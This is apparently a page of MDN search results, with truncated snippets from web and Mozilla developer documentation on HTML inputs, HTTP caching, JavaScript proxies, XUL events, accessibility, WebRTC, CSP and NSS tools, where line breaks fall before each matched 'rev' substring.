reverse; /* global values */ flex-direction: inherit; flex-direction: initial; flex-direction: unset; values the following values are accepted: row the flex container's main-axis is defined to be the same as the text direction. the main-start and m...
...And 7 more matches
<input>: The Input (Form Input) element - HTML: Hypertext Markup Language
for the image, displaying the value of the attribute if the image src is missing or otherwise fails to load. see the image input type. autocomplete (not a boolean attribute!) the autocomplete attribute takes as its value a space-separated string that describes what, if any, type of autocomplete functionality the input should provide. a typical implementation of autocomplete simply recalls p
revious values entered in the same input field, but more complex forms of autocomplete can exist. for instance, a browser could integrate with a device's contacts list to autocomplete email addresses in an email input field. see values in the html autocomplete attribute for permitted values. the autocomplete attribute is valid on hidden, text, search, url, tel, email, date, month, week, time, datet...
...enter into the field. this must be an integer value 0 or higher. if no maxlength is specified, or an invalid value is specified, the field has no maximum length. this value must also be greater than or equal to the value of minlength. the input will fail constraint validation if the length of the text entered into the field is greater than maxlength utf-16 code units long. by default, browsers p
revent users from entering more characters than allowed by the maxlength attribute. see client-side validation for more information. min valid for date, month, week, time, datetime-local, number, and range, it defines the most negative value in the range of permitted values. if the value entered into the element is less than this this, the element fails constraint validation. if the value of th...
...dation. if the value of the min attribute isn't a number, then the element has no minimum value. this value must be less than or equal to the value of the max attribute. if the min attribute is present but is not specified or is invalid, no min value is applied. if the min attribute is valid and a non-empty value is less than the minimum allowed by the min attribute, constraint validation will p
revent form submission. see client-side validation for more information. there is a special case: if the data type is periodic (such as for dates or times), the value of max may be lower than the value of min, which indicates that the range may wrap around; for example, this allows you to specify a time range from 10 pm to 4 am. minlength valid for text, search, url, tel, email, and password,...
...And 7 more matches
Cache-Control - HTTP
that can be used by the client in an http request. cache-control: max-age=<seconds> cache-control: max-stale[=<seconds>] cache-control: min-fresh=<seconds> cache-control: no-cache cache-control: no-store cache-control: no-transform cache-control: only-if-cached cache response directives standard cache-control directives that can be used by the server in an http response. cache-control: must-
revalidate cache-control: no-cache cache-control: no-store cache-control: no-transform cache-control: public cache-control: private cache-control: proxy-
revalidate cache-control: max-age=<seconds> cache-control: s-maxage=<seconds> extension cache-control directives extension cache-control directives are not part of the core http caching standards document. check the compatibility table for their s...
...: private cache-control: proxy-
revalidate cache-control: max-age=<seconds> cache-control: s-maxage=<seconds> extension cache-control directives extension cache-control directives are not part of the core http caching standards document. check the compatibility table for their support; user-agents that don't recognize them should ignore them. ...
... has public, max-age or s-maxage in cache-control or has expires set public the response may be stored by any cache, even if the response is normally non-cacheable. private the response may be stored only by a browser's cache, even if the response is normally non-cacheable. if you mean to not store the response in any cache, use no-store instead. this directive is not effective in p
reventing caches from storing your response. no-cache the response may be stored by any cache, even if the response is normally non-cacheable. however, the stored response must always go through validation with the origin server first before using it, therefore, you cannot use no-cache in-conjunction with immutable. if you mean to not store the response in any cache, use no-store instead. this dire...
...And 7 more matches
Meta programming - JavaScript
property lookup, assignment, enumeration, function invocation, etc). with the help of these two objects you are able to program at the meta level of javascript. proxies introduced in ecmascript 6, proxy objects allow you to intercept certain operations and to implement custom behaviors. ...
... handler.setprototypeof() object.setprototypeof() reflect.setprototypeof() if target is not extensible, the prototype parameter must be the same value as object.getprototypeof(target). handler.isextensible() object.isextensible() reflect.isextensible() object.isextensible(proxy) must return the same value as object.isextensible(target). handler.p
reventextensions() object.p
reventextensions() reflect.p
reventextensions() object.p
reventextensions(proxy) only returns true if object.isextensible(proxy) is false. handler.getownpropertydescriptor() object.getownpropertydescriptor() reflect.getownpropertydescriptor() getownpropertydescriptor must return an object or undefined. a property cannot be reported...
... the result list must contain all the keys of the own properties of target and no other values. handler.apply() proxy(..args) function.prototype.apply() and function.prototype.call() reflect.apply() there are no invariants for the handler.apply method. handler.construct() new proxy(...args) reflect.construct() the result must be an object. ...
...And 7 more matches
Appendix: What you should know about open-source software licenses - Archive of obsolete content
requires no permission from the author. in some situations, such as education or citation, use in the strong, authorial sense is permitted to readers. any discussion of copyright eventually turns to the fact that some uses are prohibited, so it’s useful to understand what uses are unrestricted. range of uses restricted to author unrestricted book print, publish,
revise read music record, perform,
revise listen movie distribute, screen,
revise watch software copy, distribute, modify execute licenses are a use permit in order to use (in the authorial sense) a copyrighted work, the user must either receive a use permit from the copyright holder, or must be assigned partial rights by the author. this use p...
...ying the software a typical software license will grant these permissions in return for a fee, and will still restrict some normally unrestricted uses. the software that microsoft sells, such as windows, comes with a license that permits only limited duplication in exchange for a fee, so, although customers can install it on their computers, they cannot modify it. and essential freedoms, such as
reverse-engineering, are also restricted. this use permit is displayed when you install the software. when the user clicks “i agree,” the installation process finishes. software range of uses restricted to author unrestricted software license >> usable within permitted scope restricted use within permitted scope ...
...r; no additional licensing can be required when redistributing; license must not be specific to a product; license must not interfere with other software. the “no discrimination may be made against individuals or organizations” rule means that you cannot prohibit it from any particular country. the “no discrimination may be made based on field of endeavor” rule means that you cannot p
revent it from being used in warfare. the “no additional licensing can be required when redistributing” rule means that you cannot prohibit the software’s use from anyone who does not buy a separate license. because the oss license is intended to foster source-code reuse and mutual development, it avoids restrictions on source-code duplication, distribution, and modification to the greatest ex...
...And 6 more matches
XUL Events - Archive of obsolete content
ence home the following tables and sections describe the event handler that are valid for most xul elements. the events listeners can be attached using addeventlistener and removed using removeeventlistener. some of the events can be attached using attributes as well. when attaching event listeners using attributes, be aware that only one listener can be attached at a time. any p
reviously attached listeners are disconnected. the attribute name is the event name with an 'on' prefix. xul event reference subpages broadcastthe broadcast event is executed when the attributes of the element (such as a broadcaster) being listened to are changed. the event handler should be placed on an observer.checkboxstatechangethe checkboxstatechange event is executed when the st...
...o longer hovered or highlighted.popuphiddenthe popuphidden event is executed when a <menupopup>, <panel> or <tooltip> has become hidden.popuphidingthe popuphiding event is executed when a <menupopup>, <panel> or <tooltip> is about to be hidden.popupshowingthe popupshowing event is executed when a <menupopup>, <panel> or <tooltip> is about to become visible. the default action of the event can be p
revented to p
revent the popup to appear.popupshownthe popupshown event is executed when a <menupopup>, <panel> or <tooltip> has become visible.radiostatechangethe radiostatechange event is executed when the state of a <radio> element has changed.valuechangethe valuechange event is executed when the value of an element, <progress> for example, has changed. inherited dom events ...
... focus the focus event is sent to an element when it receives the focus. once an element has the focus, keyboard events are sent to it. the focus can be changed by clicking on another element, by pressing tab to switch to the next element in the tab order sequence, or by pressing 'back tab' to switch focus to the p
revious element in the tab order. attribute: onfocus keydown the keydown event is sent to an element that has the focus while a key is pressed but not released. attribute: onkeydown keypress the keypress eve...
...And 6 more matches
Special Condition Tests - Archive of obsolete content
parent tag tests sometimes you want to simply generate one block of content at the top level and different content at the recurisive level. for example, the bookmarks toolbar in a web browser might display buttons at the first level, but menus and submenus for content below that. templates have a means of allowing a rule to match only if the generated content would be inserted inside an element with a particular tag name. for instance, if the container was a <vbox>, a rule could be created that would only match a <vbox> element. this is useful for recursive templates, since the inner iterations may use different content. ...
...nd inner levels during template generation. for the bookmarks toolbar, the outer content is inserted into an <hbox>, but at lower levels, the content will be inserted into a <menu> in case you aren't clear, the tag that must match for the outer iteration is the root element, the one with the datasources attribute on it. ...
...e generation. for the bookmarks toolbar, the outer content is inserted into an <hbox>, but at lower levels, the content will be inserted into a <menu> in case you aren't clear, the tag that must match for the outer iteration is the root element, the one with the datasources attribute on it. for inner iterations, it will be the element with the uri attribute from the p
revious iteration. ...
...And 6 more matches
More Event Handlers - Archive of obsolete content
the event object every event handler is passed an event object. in the attribute form of the event handler, the event object is an implied argument to the script code which can be referred to using the name 'event'. in the addeventlistener form, the first argument passed to the listener function will be the event object. other arguments can be passed to a listener function, if required. the event object has a number of properties which can be examined during an event. for a full list, see the reference. we already saw the event's target property in the last section. it holds a reference to the element where the event occurred. ...
...t.getelementbyid("outerbox"); outerbox.addeventlistener('command',boxpressed,true); </script> here, an event listener has been added to the button and another event listener has been added to the box. the stoppropagation method has been called in the box's listener, so the button's listener never gets called. if this call was removed, both listeners would be called and both alerts would appear. p
revent default action if no event handlers have been registered for an event, then after completing the capturing and bubbling phases, the element will handle the event in a default way. what will happen depends on the event and the type of element. for example, the 'popupshowing' event is sent to a popup just before it is displayed. the default action is to display the popup. if the default action i...
... default action if no event handlers have been registered for an event, then after completing the capturing and bubbling phases, the element will handle the event in a default way. what will happen depends on the event and the type of element. for example, the 'popupshowing' event is sent to a popup just before it is displayed. the default action is to display the popup. ...
...And 6 more matches
CSS and JavaScript accessibility best practices - Learn web development
or they can significantly harm accessibility if misused. this article outlines some css and javascript best practices that should be considered to ensure even complex content is as accessible as possible. prerequisites: basic computer literacy, a basic understanding of html, css, and javascript, and understanding of what accessibility is. objective: to gain familiarity with using css and javascript appropriately in your web documents to maximise accessibility and not detract from it. ...
...is called <strong>condensation</strong>.</p> you might want to add some simple coloring to your emphasised text: strong, em { color: #a60000; } you will however rarely need to style emphasis elements in any significant way. the standard conventions of bold and italic text are very recognisable, and changing the style can cause confusion. for more on emphasis, see emphasis and importance. ...
.../p> you might want to add some simple coloring to your emphasised text: strong, em { color: #a60000; } you will however rarely need to style emphasis elements in any significant way. the standard conventions of bold and italic text are very recognisable, and changing the style can cause confusion. for more on emphasis, see emphasis and importance. ...
...And 6 more matches
HTML: A good basis for accessibility - Learn web development
this article looks in detail at how html can be used to ensure maximum accessibility. prerequisites: basic computer literacy, a basic understanding of html (see introduction to html), and an understanding of what accessibility is. objective: to gain familiarity with the features of html that have accessibility benefits and how to use them appropriately in your web documents. html and accessibility as you learn more about html — read more resources, look at more examples, etc. ...
...you to try out with a screen reader (see good-semantics.html). if you try navigating through this, you'll see that this is pretty easy to navigate: the screen reader reads each header out as you progress through the content, notifying you what a heading is, what is a paragraph, etc. it stops after each element, letting you go at whatever pace is comfortable for you. you can jump to the next/p
revious heading in many screen readers. you can also bring up a list of all headings in many screen readers, allowing you to use them as a handy table of contents to find specific content. people sometimes write headings, paragraphs, etc. using presentational html and line breaks, something like the following: <font size="7">my heading</font> <br><br> this is the first section of my document. <br...
...benefits people with cognitive or other disabilities; it benefits readers for whom the text is not written in their first language, younger people ... everyone, in fact! apart from this, you should try to avoid using language and characters that don't get read out clearly by the screen reader. for example: don't use dashes if you can avoid it. instead of writing 5–7, write 5 to 7. expand abb
reviations — instead of writing jan, write january. expand acronyms, at least once or twice. instead of writing html in the first instance, write hypertext markup language. page layouts in the bad old days, people used to create page layouts using html tables — using different table cells to contain the header, footer, sidebar, main content column, etc. this is not a good idea because a scree...
...And 6 more matches
HTML: A good basis for accessibility - Learn web development
this article looks in detail at how html can be used to ensure maximum accessibility. prerequisites: basic computer literacy, a basic understanding of html (see introduction to html), and an understanding of what accessibility is. objective: to gain familiarity with the features of html that have accessibility benefits and how to use them appropriately in your web documents. html and accessibility as you learn more about html — read more resources, look at more examples, etc. ...
...you to try out with a screen reader (see good-semantics.html). if you try navigating through this, you'll see that this is pretty easy to navigate: the screen reader reads each header out as you progress through the content, notifying you what a heading is, what is a paragraph, etc. it stops after each element, letting you go at whatever pace is comfortable for you. you can jump to the next/p
revious heading in many screen readers. you can also bring up a list of all headings in many screen readers, allowing you to use them as a handy table of contents to find specific content. people sometimes write headings, paragraphs, etc. using presentational html and line breaks, something like the following: <font size="7">my heading</font> <br><br> this is the first section of my document. <br...
...benefits people with cognitive or other disabilities; it benefits readers for whom the text is not written in their first language, younger people ... everyone, in fact! apart from this, you should try to avoid using language and characters that don't get read out clearly by the screen reader. for example: don't use dashes if you can avoid it. instead of writing 5–7, write 5 to 7. expand abb
reviations — instead of writing jan, write january. expand acronyms, at least once or twice. instead of writing html in the first instance, write hypertext markup language. page layouts in the bad old days, people used to create page layouts using html tables — using different table cells to contain the header, footer, sidebar, main content column, etc. this is not a good idea because a scree...
...And 6 more matches
How to build custom form controls - Learn web development
its active state. the value does not change when: the user hits the up arrow key when the first option is selected. the user hits the down arrow key when the last option is selected. finally, let's define how the control's options will behave: when the control is opened, the selected option is highlighted when the mouse is over an option, the option is highlighted and the p
reviously highlighted option is returned to its normal state for the purposes of our example, we'll stop with that; however, if you're a careful reader, you'll notice that some behaviors are missing. for example, what do you think will happen if the user hits the tab key while the control is in its open state? the answer is... nothing. ok, the right behavior seems obvious but the fact is, because i...
... to user input and make it possible to send the value along with form data. the easiest way to do this is to use a native control under the hood. such a control will keep track of the value with all the built-in controls provided by the browser, and the value will be sent as usual when a form is submitted. there's no point in reinventing the wheel when we can have all this done for us. as seen p
reviously, we already use a native select control as a fallback for accessibility reasons; we can simply synchronize its value with that of our custom control: // this function updates the displayed value and synchronizes it with the native control. // it takes two parameters: // select : the dom node with the class `select` containing the value to update // index : the index of the value to be sel...
...es it with the native control. ...
...And 6 more matches
HTML text fundamentals - Learn web development
this article explains the way html can be used to structure a page of text by adding headings and paragraphs, emphasizing words, creating lists, and more. prerequisites: basic html familiarity, as covered in getting started with html. objective: learn how to mark up a basic page of text to give it structure and meaning—including paragraphs, headings, lists, emphasis, and quotations. the basics: headings and paragraphs most structured text consists of headings and paragraphs, whether you are reading a story, a newspaper, a college textbook, a magazine, etc. ...
...statistician and my name is trish.</p>\n<p>my legs are made of cardboard and i am married to a fish.</p>'; var solutionentry = htmlsolution; textarea.addeventlistener('input', updatecode); window.addeventlistener('load', updatecode); // stop tab key tabbing out of textarea and // make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode === 9) { e.p
reventdefault(); insertatcaret('\t'); } if (e.keycode === 27) { textarea.blur(); } }; function insertatcaret(text) { var scrollpos = textarea.scrolltop; var caretpos = textarea.selectionstart; var front = (textarea.value).substring(0, caretpos); var back = (textarea.value).substring(textarea.selectionend, textarea.value.length); textarea.value = front + text + back; caret...
...so, for example, we expect a red traffic light to mean "stop," and a green traffic light to mean "go." things can get tricky very quickly if the wrong semantics are applied. (do any countries use red to mean "go"? i hope not.) in a similar vein, we need to make sure we ...
...And 6 more matches
From object to iframe — other embedding technologies - Learn web development
p
revious overview: multimedia and embedding next by now you should really be getting the hang of embedding things into your web pages, including images, video and audio. at this point we'd like to take somewhat of a sideways step, looking at some elements that allow you to embed a wide variety of content types into your webpages: the <iframe>, <embed> and <object> elements. <iframe>s are for embedding other web pages, and the other two allow you to embed pdfs, svg, and even flash — a technology that is on the way out, but which you'll still see semi-regularly. ...
...ts. <iframe>s are for embedding other web pages, and the other two allow you to embed pdfs, svg, and even flash — a technology that is on the way out, but which you'll still see semi-regularly. prerequisites: basic computer literacy, basic software installed, basic knowledge of working with files, familiarity with html fundamentals (as covered in getting started with html) and the p
revious articles in this module. objective: to learn how to embed items into web pages using <object>, <embed>, and <iframe>, like flash movies and other webpages. a short history of embedding a long time ago on the web, it was popular to use frames to create websites — small parts of a website stored in individual html pages. these were embedded in a master document called a fr...
...k!4v1518171785211" width="600" height="450" frameborder="0" style="border:0" allowfullscreen>\n</iframe>'; let solutionentry = htmlsolution; textarea.addeventlistener('input', updatecode); window.addeventlistener('load', updatecode); // stop tab key tabbing out of textarea and // make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode === 9) { e.p
reventdefault(); insertatcaret('\t'); } if (e.keycode === 27) { textarea.blur(); } }; function insertatcaret(text) { const scrollpos = textarea.scrolltop; const caretpos = textarea.selectionstart; const front = (textarea.value).substring(0, caretpos); const back = (textarea.value).substring(textarea.selectionend, textarea.value.length); textarea.value = front + text + back;...
...And 6 more matches
Video and Audio APIs - Learn web development
this article shows you how to do common tasks such as creating custom playback controls. prerequisites: javascript basics (see first steps, building blocks, javascript objects), the basics of client-side apis objective: to learn how to use browser apis to control video and audio playback. html5 video and audio the <video> and <audio> elements allow us to embed video and audio into web pages. ...
... pages. as we showed in video and audio content, a typical implementation looks like this: <video controls> <source src="rabbit320.mp4" type="video/mp4"> <source src="rabbit320.webm" type="video/webm"> <p>your browser doesn't support html5 video. here is a <a href="rabbit320.mp4">link to the video</a> instead.</p> </video> this creates a video player inside the browser like so: you can
review what all the html features do in the article linked above; for our purposes here, the most interesting attribute is controls, which enables the default set of playback controls. if you don't specify this, you get no playback controls: this is not as immediately useful for video playback, but it does have advantages. one big issue with the native browser controls is that they are different i...
...", which is a "paused" icon, and invoke the htmlmediaelement.play() method to play the media. on the second click, the button will be toggled back again — the "play" icon will be shown again, and the video will be paused with htmlmediaelement.pause(). stopping the video next, let's add functionality to handle stopping the video. add the following addeventlistener() lines below the p
revious one you added: stop.addeventlistener('click', stopmedia); media.addeventlistener('ended', stopmedia); the click event is obvious — we want to stop the video by running our stopmedia() function when the stop button is clicked. we do however also want to stop the video when it finishes playing — this is marked by the ended event firing, so we also set up a listener to run the functio...
...And 6 more matches
Adding a new todo form: Vue events, methods, and models - Learn web development
what we really need next is the ability to allow our users to enter their own todo items into the app, and for that we'll need a text <input>, an event to fire when the data is submitted, a method to fire upon submission to add the data and rerender the list, and a model to control the data. this is what we'll cover in this article. prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line. ...
... autocomplete="off" /> <button type="submit"> add </button> </form> </template> so we now have a form component into which we can enter the title of a new todo item (which will become a label for the corresponding todoitem when it is eventually rendered). let's load this component into our app. ...
...yntax: @event="method". we'll use the shorthand syntax here for consistency. add the submit handler to your <form> element like so: <form @submit="onsubmit"> when you run this, the app still posts the data to the server, causing a refresh. since we're doing all of our processing on the client, there's no server to handle the postback. we also lose all local state on page refresh. to p
revent the browser from posting to the server, we need to stop the event’s default action from bubbling up through the page (event.p
reventdefault(), in vanilla javascript). vue has a special syntax called event modifiers that can handle this for us right in our template. modifiers are appended to the end of an event with a dot like so: @event.modifier. here is a list of event modifiers: .
...And 6 more matches
Overview of Mozilla embedding APIs
microsoft com iunknown interface. interface status... none interface definition: nsisupportsutils.h nsiinterfacerequestor this interface provides an interface discovery mechanism which does not imply aggregation. interface status... none interface definition: nsiinterfacerequestor.idl nsiweakreference this interface is used to retern a proxy reference to a component. interface status... being
reviewed interface definition: nsiweakreference.idl nsisimpleemunerator this interface provides a simple enumeration abstraction. interface status... being
reviewed interface definition: nsisimpleenumerator.idl nsiservicemanager this interface allows access to global services within mozilla. interface status... none interface definition: nsiservicemanager.h nsishutdownlistener this interface is us...
...componentmanager.idl nsifactory this interface is used by the component manager to create new instances of a particular xpcom component. each component must provide a factory implementation for creating new instances. interface status... none interface definition: nsifactory.idl nsimemory this interface provides access to the global memory management functionality. interface status... ...
...e a factory implementation for creating new instances. interface status... none interface definition: nsifactory.idl nsimemory this interface provides access to the global memory management functionality. interface status... being
reviewed interface definition: nsimemory.idl nsidomwindow this interface is used to represent the window containing a specific document. interface status... being
reviewed interface definition: nsidomwindow.idl nsibasewindow this interface provides access to various window operations. interface status... ...
...And 6 more matches
Release phase
losed. if you don't see this message, try running the same command in a more verbose mode (with the debugging information): $ ssh -vvv hg.mozilla.org this should tell you why your connection is not succeeding. if you can't figure it out on your own, copy the output of the above command, paste it on http://pastebin.mozilla.org and ask in #l10n on the irc.mozilla.org server. ...
... and ask in #l10n on the irc.mozilla.org server. technical and sign-off
reviews you've done some localization work and your ready for it to be released. the merge date for migrating from one product release channel to the next is rapidly approaching. you need to make sure that your work can effectively be compiled into a build for the next release channel. do you know whether to ask for technical
review of your work or a sign-off
review? do you know what what exactly is
reviewed in each process? ...
...ready for it to be released. the merge date for migrating from one product release channel to the next is rapidly approaching. you need to make sure that your work can effectively be compiled into a build for the next release channel. do you know whether to ask for technical
review of your work or a sign-off
review? do you know what what exactly is
reviewed in each process? technical and sign-off
reviews apply to different localizations in different ways. here's the basic difference between the two. technical
review sign-off
review performed as a qa measure on a
revision pushed to a new locale's l10n aurora repo in mercurial. very comprehensive. covers the entire product. focus is on technical accuracy and comp...
...And 6 more matches
NSS tools : crlutil
name crlutil — list, generate, modify, or delete crls within the nss security database file(s) and list, create, modify or delete certificates entries in a particular crl. synopsis crlutil [options] [[arguments]] status this documentation is still work in progress. please contribute to the initial
review in mozilla nss bug 836477[1] description the certificate
revocation list (crl) management tool, crlutil, is a command-line utility that can list, generate, modify, or delete crls within the nss security database file(s) and list, create, modify or delete certificates entries in a particular crl. the key and certificate management process generally begins with creating keys in the key database, then generating and managing certificates in the certificate database(see c...
...n list, generate, modify, or delete crls within the nss security database file(s) and list, create, modify or delete certificates entries in a particular crl. ...
...the nss security database file(s) and list, create, modify or delete certificates entries in a particular crl. the key and certificate management process generally begins with creating keys in the key database, then generating and managing certificates in the certificate database(see certutil tool) and continues with certificates expiration or
revocation. this document discusses certificate
revocation list management. ...
...And 6 more matches
Finishing the Component
the component will be recognized by xpcom and registered with the category manager so that it starts up when xpcom initializes. when the component starts up, it populates a list of urls read in from a file stored next to the gecko binary on the local system. using frozen interfaces the core functionality of blocking sites is still missing, however. the interfaces needed to block certain urls from loading are not frozen, and there is still some debate about how exactly this functionality should be exposed to embedders and component developers, so the apis are not ready to be published. ...
...ace has changed, the method testa does not exist in the nsifoo interface; the first entry in the v-table is in fact isprime(). when this method call is made, the code execution treats the isprime method as testa. needless to say, this is a bad thing. furthermore, there is no way easy way to realize this error at runtime. gecko developers could change the interface's iid, and some do. this can p
revent many errors like this. but unfrozen interfaces are not supported in any formal way, and relying upon a different iid for any change in the interface is not a good idea either. when using frozen interfaces, you are guaranteed compatibility with future versions of gecko. the only trouble occurs when the compiler itself changes its v-table layout, which can happen when the compiler changes its a...
...ble for the code you're trying to use (i.e., module owners) and ask them how best to do what you are trying to do. be as precise you possibly can. they may be able to suggest a supported alternative, or they may be able to notify you about pending changes. the interface that we need for this project is something called nsicontentpolicy. at the time this book was written, this interface was under
review. an interface reaches this state when a group of module owners and peers are actively engaged in discussion about how best to expose it. usually there are only minor changes to interfaces marked with such a tag. even with interfaces marked "under
review," however, it's still a good idea to contact the module owners responsible for the interfaces you are interested in using. copying interfaces...
...And 6 more matches
Starting WebLock
we have already created a module that implements most of the generic component functionality (e.g. registration). this chapter will focus on the functionality that actually handles the web locking. getting called at startup no person is an island to himself, and neither are components. the sample component you've built up so far doesn't do anything. after having its registration procedure called, the component does nothing. in order to be started up or notified when some event happens, the sample component has to hook into mozilla, which it can do either by overriding an existing component or by registering for some event that will cause it to start up. ...
...ger interface also implements nsiservicemanager, all you have to do is queryinterface the nsicomponentmanager to nsiservicemanager to get the service manager. you can then use the service manager to add the component to the category: nsresult rv; nscomptr<nsiservicemanager> servman = do_queryinterface((nsisupports*)acompmgr, &rv); if (ns_failed(rv)) return rv; do_queryinterface the p
revious code uses the special nscomptr function do_queryinterface that lets you queryinterface without having to worry about reference counting, error handling, and other overhead. the do_queryinterface knows what interface to qi to based on the nscomptr that is being assigned into. we could have just as easily have used the raw queryinterface() method, but using nscomptr is much more economical (see...
... only services but component instances as well. for the app-startup notification, you must explicitly pass the string "service," prior to the component's contract id. if you do not, the component will be created and then released after the notification, which may cause the component to be deleted. ...
...And 6 more matches
SubtleCrypto.verify() - Web APIs
messagebox = document.queryselector(".rsassa-pkcs1 #message"); let message = messagebox.value; let enc = new textencoder(); return enc.encode(message); } /* fetch the encoded message-to-sign and verify it against the stored signature. * if it checks out, set the "valid" class on the signature. * otherwise set the "invalid" class. ...
... = messagebox.value; let enc = new textencoder(); return enc.encode(message); } /* fetch the encoded message-to-sign and verify it against the stored signature. * if it checks out, set the "valid" class on the signature. * otherwise set the "invalid" class. */ async function verifymessage(publickey) { const signatu
revalue = document.queryselector(".rsassa-pkcs1 .signature-value"); signatu
revalue.classlist.remove("valid", "invalid"); let encoded = getmessageencoding(); let result = await window.crypto.subtle.verify( "rsassa-pkcs1-v1_5", publickey, signature, encoded ); signatu
revalue.classlist.add(result ? "valid" : "invalid"); } rsa-pss this code uses a public key to verify a signature. see the complete code on github. /* fetch the contents of the "messag...
...const messagebox = document.queryselector(".rsa-pss #message"); let message = messagebox.value; let enc = new textencoder(); return enc.encode(message); } /* fetch the encoded message-to-sign and verify it against the stored signature. * if it checks out, set the "valid" class on the signature. * otherwise set the "invalid" class. ...
...And 6 more matches
Establishing a connection: The WebRTC perfect negotiation pattern - Web APIs
ended way to negotiate a webrtc connection between peers, and provides sample code to demonstrate the technique. after the first deployments of webrtc-capable browsers, it was realized that parts of the negotiation process were more complicated than they needed to be for typical use cases. this was due to a small number of issues with the api and some potential race conditions that needed to be p
revented. these issues have since been addressed, letting us simplify our webrtc negotiation significantly. the perfect negotiation pattern is an example of the ways in which negotiation have improved since the early days of webrtc. perfect negotiation concepts perfect negotiation makes it possible to seamlessly and completely separate the negotiation process from the rest of your application's log...
.... the best thing about perfect negotiation is that the same code is used for both the caller and the callee, so there's no repetition or otherwise added levels of negotiation code to write. perfect negotiation works by assigning each of the two peers a role to play in the negotiation process that's entirely separate from the webrtc connection state: a polite peer, which uses ice rollback to p
revent collisions with incoming offers. a polite peer, essentially, is one which may send out offers, but then responds if an offer arrives from the other peer with "okay, never mind, drop my offer and i'll consider yours instead." an impolite peer, which always ignores incoming offers that collide with its own offers. it never apologizes or gives up anything to the polite peer. any time a collision...
...on(); signaler.send({ description: pc.localdescription }); } catch(err) { console.error(err); } finally { makingoffer = false; } }; we set makingoffer immediately before calling setlocaldescription() in order to lock against interfering with sending this offer, and we don't clear it back to false until the offer has been sent to the signaling server (or an error has occurred, p
reventing the offer from being made). this way, we avoid the risk of offers colliding. automatic rollback in setremotedescription() a key component to perfect negotiation is the concept of the polite peer, which always rolls itself back if it receives an offer while itself waiting for an answer to an offer. p
reviously, triggering rollback involved manually checking for rollback conditions and trigg...
...And 6 more matches
Link types - HTML: Hypertext Markup Language
k> <form> author defines a hyperlink to a page describing the author or providing a way to contact the author. note: this may be a mailto: hyperlink, but this is not recommended on public pages as robot harvesters will quickly lead to a lot of spam sent to the address. in that case, it is better to lead to a page containing a contact form. although recognized, the
rev attribute on <a>, <area> or<link> elements with a link type of made is incorrect and should be replaced by the rel attribute with this link type. <a>, <area>, <link> <form> bookmark indicates that the hyperlink is a permalink for the nearest ancestor <article> element. if none, it is a permalink for the section that the element is most closely associated to. this allows...
...section that the element is most closely associated to. this allows for bookmarking a single article in a page containing multiple articles, such as on a monthly summary blog page, or a blog aggregator. <a>, <area> <link>, <form> canonical from wikipedia, the free encyclopedia: canonical_link_element a canonical link element is an html element that helps webmasters p
revent duplicate content issues by specifying the "canonical" or "preferred" version of a web page as part of search engine optimization. <link> <a>, <area>, <form> dns-prefetch hints to the browser that a resource is needed, allowing the browser to do a dns lookup and protocol handshaking before a user clicks the link. <link> <a>, <area>, <form> external indicat...
...nal indicates that the hyperlink leads to a resource outside the site of the current page; that is, following the link will make the user leave the site. <a>, <area>, <form> <link> first indicates that the hyperlink leads to the first resource of the sequence the current page is in. note: other link types related to linking resources in the same sequence are last, p
rev, next. although recognized, the synonyms begin and start are incorrect and must be avoided. <a>, <area>, <link> <form> help if the element is <a> or <area>, it indicates that the hyperlink leads to a resource giving further help about the parent of the element, and its descendants. if the element is <link> it indicates that the hyperlink leads to a resou...
...And 6 more matches
Index - HTTP
directive restricts the urls which can be used in a document's <base> element. if this value is absent, then any uri is allowed. if this directive is absent, the user agent will use the value in the <base> element. 30 csp: block-all-mixed-content csp, directive, http, mixed content, reference, security the http content-security-policy (csp) block-all-mixed-content directive p
revents loading any assets using http when the page is loaded using https. 31 csp: child-src csp, directive, http, reference, security the deprecated http content-security-policy (csp) child-src directive defines the valid sources for web workers and nested browsing contexts loaded using elements such as <frame> and <iframe>. for workers, non-compliant requests are treated as fat...
...olicy require-sri-for directive instructs the client to require the use of subresource integrity for scripts or styles on the page. 46 csp: sandbox csp, directive, http, security the http content-security-policy (csp) sandbox directive enables a sandbox for the requested resource similar to the <iframe> sandbox attribute. it applies restrictions to a page's actions including p
reventing popups, p
reventing the execution of plugins and scripts, and enforcing a same-origin policy. 47 csp: script-src csp, directive, http, reference, security the http content-security-policy (csp) script-src directive specifies valid sources for javascript. this includes not only urls loaded directly into <script> elements, but also things like inline script event handlers ...
...ation reports consist of json documents sent via an http post request to the specified uri. 53 content-type content-type, http, reference, request header, header the content-type entity header is used to indicate the media type of the resource. 54 cookie cookies, http, reference, header, request the cookie http request header contains stored http cookies p
reviously sent by the server with the set-cookie header. 55 cookie2 http, obsolete, reference, header, request the obsolete cookie2 http request header used to advise the server that the user agent understands "new-style" cookies, but nowadays user agents will use the cookie header instead, not this one. 56 dnt dnt, http, reference, header the dnt (do not tra...
...And 6 more matches
MCD, Mission Control Desktop, AKA AutoConfig - Archive of obsolete content
filename", "mozilla.cfg");. file api that centralized preference file uses a javascript api that allows us to do what we need. that prefcalls.js is now archive in omni.jar file located at the root of the mozilla apps installation, example of tb5: # jar -tvf /usr/lib/thunderbird/omni.jar | grep prefcalls.js 7499 sat nov 05 09:21:34 cet 2011 defaults/autoconfig/prefcalls.js traditionally (p
revious apps versions) is was in mozilla_home/default/autoconfig/prefcalls.js. the presence of pref("general.config.filename", "mozilla.cfg"); in any appropriate .js file (here we use autoconf.js dedicated file) enables the read and execution of prefcalls.js. do not use the name all.js because it is reserved. ref: bug 690370 available functions are (see prefcalls.js file for details): function getp...
...layerror(funcname, message) function getenv(name) configure autoconfig two directives ask thunderbird to use autoconfig at startup: # cat /usr/lib/thunderbird/defaults/pref/tb-autoconf.js // 20100526 - modification autoconfig jehan. // pref("general.config.obscure_value", 0); // for mcd .cfg files pref('general.config.filename', 'thunderbird.cfg'); // for mcd .cfg files it used to be in p
revious releases (up until 7.0) in /usr/lib/thunderbird-x.0/default/pref/autoconf.js the first pref just tells us that we won't encode the file (no more rotary 13 or 7 cf below), the second pref is the name of the file to be read: /usr/lib/thunderbird/thunderbird.cfg. (or firefox.cfg if for firefox...) file encoding if needed, the encoding can be done with the perl script: moz-byteshift.pl avail...
